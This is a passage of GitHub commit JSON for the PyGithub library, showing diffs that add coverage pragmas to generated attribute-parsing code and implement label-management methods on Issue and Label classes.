]","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","filename":"src/github/GitTree.py","patch":"@@ -33,15 +33,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], list ) and ( len( attributes[ \"tree\" ] ) == 0 or isinstance( attributes[ \"tree\" ][ 0 ], dict ) )\n self.__tree = [\n GitTreeElement.GitTreeElement( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"tree\" ]\n ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","filename":"src/github/GitTreeElement.py","patch":"@@ -47,21 +47,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"mode\", \"path\", \"sha\", \"size\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"mode\" in attributes and attributes[ \"mode\" ] is not None:\n+ if \"mode\" in attributes and attributes[ \"mode\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mode\" ], str )\n self.__mode = attributes[ \"mode\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","filename":"src/github/Hook.py","patch":"@@ -99,21 +99,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"active\", \"config\", \"created_at\", \"events\", \"id\", \"last_response\", \"name\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"active\" in attributes and attributes[ \"active\" ] is not None:\n+ if \"active\" in attributes and attributes[ \"active\" ] is not None: # pragma no branch\n self.__active = attributes[ \"active\" ]\n- if \"config\" in attributes and attributes[ \"config\" ] is not None:\n+ if \"config\" in attributes and attributes[ \"config\" ] is not None: # pragma no branch\n self.__config = attributes[ \"config\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"events\" in attributes and attributes[ \"events\" ] is not None:\n+ if \"events\" in attributes and attributes[ \"events\" ] is not None: # pragma no branch\n self.__events = attributes[ \"events\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None:\n+ if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None: # pragma no branch\n self.__last_response = attributes[ \"last_response\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":53,"deletions":21,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None\n@@ -257,59 +268,59 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"assignee\", \"body\", \"closed_at\", \"closed_by\", \"comments\", \"created_at\", \"html_url\", \"id\", \"labels\", \"milestone\", \"number\", \"pull_request\", \"repository\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None:\n+ if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"assignee\" ], dict )\n self.__assignee = NamedUser.NamedUser( self.__requester, attributes[ \"assignee\" ], completion = LazyCompletion )\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_at\" ], str )\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None:\n+ if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_by\" ], dict )\n self.__closed_by = NamedUser.NamedUser( self.__requester, attributes[ \"closed_by\" ], completion = LazyCompletion )\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"labels\" in attributes and attributes[ \"labels\" ] is not None:\n+ if \"labels\" in attributes and attributes[ \"labels\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"labels\" ], list ) and ( len( attributes[ \"labels\" ] ) == 0 or isinstance( attributes[ \"labels\" ][ 0 ], dict ) )\n self.__labels = [\n Label.Label( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"labels\" ]\n ]\n- if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None:\n+ if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"milestone\" ], dict )\n self.__milestone = Milestone.Milestone( self.__requester, attributes[ \"milestone\" ], completion = LazyCompletion )\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None:\n+ if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None: # pragma no branch\n self.__pull_request = attributes[ \"pull_request\" ]\n- if \"repository\" in attributes and attributes[ \"repository\" ] is not None:\n+ if \"repository\" in attributes and attributes[ \"repository\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repository\" ], dict )\n self.__repository = Repository.Repository( self.__requester, attributes[ \"repository\" ], completion = LazyCompletion )\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":32,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","filename":"src/github/IssueComment.py","patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","filename":"src/github/IssueEvent.py","patch":"@@ -78,24 +78,24 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"commit_id\", \"created_at\", \"event\", \"id\", \"issue\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"event\" in attributes and attributes[ \"event\" ] is not None:\n+ if \"event\" in attributes and attributes[ \"event\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"event\" ], str )\n self.__event = attributes[ \"event\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"issue\" in attributes and attributes[ \"issue\" ] is not None:\n+ if \"issue\" in attributes and attributes[ \"issue\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"issue\" ], dict )\n self.__issue = Issue.Issue( self.__requester, attributes[ \"issue\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":13,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None\n@@ -53,9 +60,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"color\", \"name\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"color\" in attributes and attributes[ \"color\" ] is not None:\n+ if \"color\" in attributes and attributes[ \"color\" ] is not None: # pragma no branch\n self.__color = attributes[ \"color\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":10,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":22,"deletions":11,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","filename":"src/github/Milestone.py","patch":"@@ -114,36 +114,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"closed_issues\", \"created_at\", \"creator\", \"description\", \"due_on\", \"id\", \"number\", \"open_issues\", \"state\", \"title\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None:\n+ if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_issues\" ], int )\n self.__closed_issues = attributes[ \"closed_issues\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"creator\" in attributes and attributes[ \"creator\" ] is not None:\n+ if \"creator\" in attributes and attributes[ \"creator\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"creator\" ], dict )\n self.__creator = NamedUser.NamedUser( self.__requester, attributes[ \"creator\" ], completion = LazyCompletion )\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None:\n+ if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"due_on\" ], str )\n self.__due_on = attributes[ \"due_on\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":52,"deletions":26,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","filename":"src/github/NamedUser.py","patch":"@@ -365,81 +365,81 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"contributions\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None:\n+ if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"contributions\" ], int )\n self.__contributions = attributes[ \"contributions\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":48,"deletions":24,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","filename":"src/github/Organization.py","patch":"@@ -390,75 +390,75 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"billing_email\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if 